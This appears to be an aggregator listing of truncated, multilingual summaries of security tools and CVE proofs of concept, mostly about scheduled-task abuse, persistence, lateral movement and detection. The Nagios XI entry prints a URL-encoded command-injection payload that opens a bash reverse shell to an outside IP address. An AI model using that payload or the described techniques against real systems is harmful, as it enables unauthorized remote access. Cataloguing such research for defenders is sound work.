WMIExec

WMIexec Ensemble de scripts Python qui réalisent différentes façons d'exécuter des commandes via le protocole WMI. Article de blog https://whiteknightlabs.com/2023/06/26/navigating-stealthy-wmi-lateral-movement/ Utilisation wmiexecscheduledjob.py Est un script Python qui s'authentifie auprès d'un...

GhostTask

Tâche planifiée fantôme Inspiré par les recherches de WithSecure sur la falsification des tâches planifiées, ils ont expliqué la faisabilité de créer une tâche planifiée uniquement via la manipulation des clés de registre. Une telle approche peut contourner la génération des journaux d'événements...

CVE-2023-23192

CVE-2023-23192 CVE-2023-23192- Userlock - Multi-Factor Authentication MFA Bypass Exploit Title: Userlock - Multi-Factor Authentication MFA Bypass Date: 01/11/2023 Exploit Author: Pinar Sadioglu Vendor Homepage: https://www.isdecisions.com/products/userlock/help/ Version: = 11.0.1.40 Tested on:...

NorkNork

NorkNork - Tool for identifying Empire persistence payloads https://www.n00py.io/2017/01/removing-backdoors-powershell-empire-edition/ ABOUT: This script was designed to identify Powershell Empire persistence payloads on Windows systems. It currently supports checks for these persistence methods:...

CVE-2022-23940

CVE-2022-23940 CVE-2022-23940에 대한 PoC, 일명 SCRMBT-187 - SuiteCRM= 8.0.0. Defaults to False --help Show this message and exit. https://github.com/manuelz120/CVE-2022-23940...

cve-2025-5781_FreePBX

cve-2025-5781FreePBX В августе 2025 года в модуле Endpoint FreePBX была раскрыта критическая уязвимость. CVE-2025–57819 позволяет неаутентифицированному злоумышленнику использовать SQL-инъекцию в модуле Endpoint и через цепочку манипуляций с базой данных и выполнения запланированных задач добитьс...

ScheduleRunner

ScheduleRunner - Un outil C offrant plus de flexibilité pour personnaliser les tâches planifiées, à la fois pour la persistance et le mouvement latéral lors d'opérations Red Team La tâche planifiée est l'une des techniques d'attaque les plus populaires de la dernière décennie et elle est encore...

CVE-2019-20197

CVE-2019-20197 Nagios XI リモートコマンド実行の脆弱性 = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite root@kitploit: POST...

SharpStay

SharpStay - Постоянство на .NET Сборка Чтобы скомпилировать, откройте проект в Visual Studio и выполните сборку для релиза. Параметры Повышенные ключи реестра Повышенный ключ реестра UserInit Повышенная запланированная задача Повышенное создание службы Повышенная подписка на события WMI...

rainmap-lite

rainmap-lite Rainmap Lite - Application web réactive qui permet aux utilisateurs de lancer des scans Nmap depuis leurs mobiles/tablettes/navigateurs web ! Contrairement à son prédécesseur 1, Rainmap-lite ne nécessite pas de services spéciaux RabbitMQ, PostgreSQL, Celery, supervisor, etc. pour êtr...

s3crets_scanner

S3cret Scanner: Caccia ai segreti caricati su bucket S3 pubblici Il tool S3cret Scanner è progettato per fornire un livello complementare alle Best Practices di sicurezza di Amazon S3 cacciando proattivamente i segreti nei bucket S3 pubblici. Può essere eseguito come attività programmata o...

ThreatScraper

ThreatScraper ThreatScraper è uno strumento basato su Python progettato per verificare le informazioni sui virus utilizzando l'API di VirusTotal. Offre funzionalità come la pianificazione del controllo a orari specifici, la visualizzazione e il salvataggio del grafico delle tendenze di rilevament...

CVE-2021-32156

..| CSRF to RCE CRON |.. Descrizione : Sfruttare un attacco di Cross-site request forgery CSRF per ottenere una Remote Command Execution RCE tramite la funzionalità Scheduled Cron Jobs di Webmin Versione testata : Webmin 1.973 ultima versione di GitHub 07/03/2021 Tipo di attacco: Remoto Impatto :...

CVE-2026-78612

WatchGuard Dimension contains an authenticated SQL injection vulnerability in the scheduled report feature which allows an authenticated user with report administration permissions gain arbitrary command execution as the Dimension WebUI process user by sending specially crafted requests...

SharpPolarBear

SharpPolarBear Dies ist eine weaponisierte Version eines der Exploits, die von SandboxEscaper hier veröffentlicht wurden https://github.com/SandboxEscaper/polarbearrepo. Der Großteil des Codes stammt aus dem CollectorService-Repository von rasta-mouse...

CVE-2026-78612

WatchGuard Dimension contains an authenticated SQL injection vulnerability in the scheduled report feature . An authenticated user holding report administration permissions can send specially crafted requests to achieve arbitrary command execution as the Dimension WebUI process user. The NVD scor...

CVE-2026-78047 Dimension Stored XSS in Scheduled Report Task

A stored cross-site scripting XSS vulnerability in WatchGuard Dimension's task scheduling feature allows a low-privileged authenticated administrator to inject arbitrary HTML/JavaScript into these fields, which then executes in the browser session of any other user...

CVE-2025-60710

CVE-2025-60710 Dies ist ein PoC für eine lokale Privilegienausweitung-Schwachstelle im geplanten Task \Microsoft\Windows\WindowsAI\Recall\PolicyConfiguration. Wenn dieser geplante Task gestartet wird, versucht der Prozess taskhostw.exe, das Verzeichnis...

Bug-Bounty-Arsenal-v.3

BugBounty Arsenal Una piattaforma gratuita di scansione della sicurezza full-stack per cacciatori di bug bounty e ricercatori di sicurezza — oltre 50 rilevatori, monitoraggio continuo e gate CI/CD da un'unica dashboard. ▶ App live:bugbounty-arsenal.net — gratuita, senza carta di credito. Se ti è...

CVE-2026-3502-Scanner---TrueConf-Vulnerability-Detection-Tool

🔍 Scanner CVE-2026-3502 - Strumento di rilevamento vulnerabilità TrueConf ⚠️ AVVISO Solo a scopo educativo e per test autorizzati. 📋 Descrizione Strumento di rilevamento per CVE-2026-3502. Scansiona i server TrueConf senza verifica degli aggiornamenti, rileva client Windows vulnerabili ≤8.5.3.884 ...